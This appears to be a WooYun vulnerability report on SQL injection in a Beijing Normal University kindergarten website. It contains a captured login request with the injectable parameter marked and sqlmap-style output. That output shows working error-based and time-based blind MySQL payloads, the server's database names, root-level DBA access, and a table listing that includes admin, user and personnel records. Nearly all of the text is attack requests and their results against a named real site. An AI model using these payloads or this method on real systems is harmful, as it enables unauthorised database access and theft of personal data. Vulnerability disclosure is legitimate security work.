WooYun.org

http://yey.bnu.edu.cn/ 北京师范大学实验幼儿园

POST /check1.jsp HTTP/1.1
Content-Length: 176
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://yey.bnu.edu.cn
Cookie: JSESSIONID=D0C95A02D6DD1B83392672A1681554B6
Host: yey.bnu.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Submit=%cc%e1%bd%bb&hao=*&password=g00dPa%24%24w0rD

--
Parameter: #1* ((custom) POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: Submit=%cc%e1%bd%bb&hao=' AND (SELECT 2438 FROM(SELECT COUNT(*),CONCAT(0x716a6b7671,(SELECT (ELT(2438=2438,1))),0x717a6b7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'BRaG'='BRaG&password=g00dPa$$w0rD
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: Submit=%cc%e1%bd%bb&hao=' AND (SELECT * FROM (SELECT(SLEEP(5)))HvmX) AND 'ImMt'='ImMt&password=g00dPa$$w0rD
---
web application technology: JSP
back-end DBMS: MySQL 5.0
available databases [15]:
[*] bsd_jobs2
[*] bsdcmsnewbsd1
[*] cmsnewbsd1
[*] compe
[*] gsd
[*] idcenter
[*] idcenterds
[*] information_schema
[*] mysql
[*] renben
[*] semdb
[*] shuikeyuan
[*] yey
[*] yey - 
[*] zhexue

--
web application technology: JSP
back-end DBMS: MySQL 5.0
current user:    'root@localhost'
current database:    'yey'
current user is DBA:    True

---
web application technology: JSP
back-end DBMS: MySQL 5.0
Database: yey
+---------------------------+---------+
| Table                     | Entries |
+---------------------------+---------+
| jc_file                   | 8228    |
| jc_file_copy              | 8057    |
| chengyuan                 | 1505    |
| jc_log                    | 1486    |
| jianli                    | 1468    |
| jc_content_channel        | 1181    |
| jc_content                | 1012    |
| jc_content_check          | 1012    |
| jc_content_count          | 1012    |
| jc_content_ext            | 1012    |
| zhengjian                 | 946     |
| jc_content_txt            | 931     |
| photonews                 | 885     |
| hetong                    | 785     |
| portal_articles           | 648     |
| jc_content_txt_1_bak      | 646     |
| jc_content_txt_1_bak_real | 646     |
| jc_content_txt_1          | 643     |
| jiangli                   | 570     |
| peixun                    | 435     |
| jc_model_item             | 310     |
| jc_channel                | 66      |
| jc_channel_ext            | 66      |
| portal_column_defines     | 57      |
| folk                      | 56      |
| jc_site_flow              | 52      |
| jc_role_permission        | 29      |
| jc_advertising_attr       | 27      |
| jc_vote_item              | 27      |
| ziduan                    | 27      |
| jc_channel_model          | 16      |
| jc_content_attachment     | 15      |
| jo_config                 | 14      |
| bumen                     | 12      |
| jc_dictionary             | 12      |
| photo                     | 11      |
| jc_vote_reply             | 10      |
| jc_model                  | 9       |
| jc_vote_subtopic          | 9       |
| jc_content_tag            | 7       |
| jc_config_attr            | 6       |
| jc_advertising            | 5       |
| jc_advertising_space      | 5       |
| diaodong                  | 4       |
| jc_content_type           | 4       |
| jc_user                   | 3       |
| jc_user_ext               | 3       |
| jc_user_role              | 3       |
| jc_user_site              | 3       |
| jo_user                   | 3       |
| jc_friendlink_ctg         | 2       |
| jc_group                  | 2       |
| jc_role                   | 2       |
| jc_vote_topic             | 2       |
| admin                     | 1       |
| jc_config                 | 1       |
| jc_friendlink             | 1       |
| jc_guestbook_ctg          | 1       |
| jc_keyword                | 1       |
| jc_sensitivity            | 1       |
| jc_site                   | 1       |
| jc_site_company           | 1       |
| jc_user_resume            | 1       |
| jc_vote_record            | 1       |
| jo_authentication         | 1       |
| weiji                     | 1       |
+---------------------------+---------+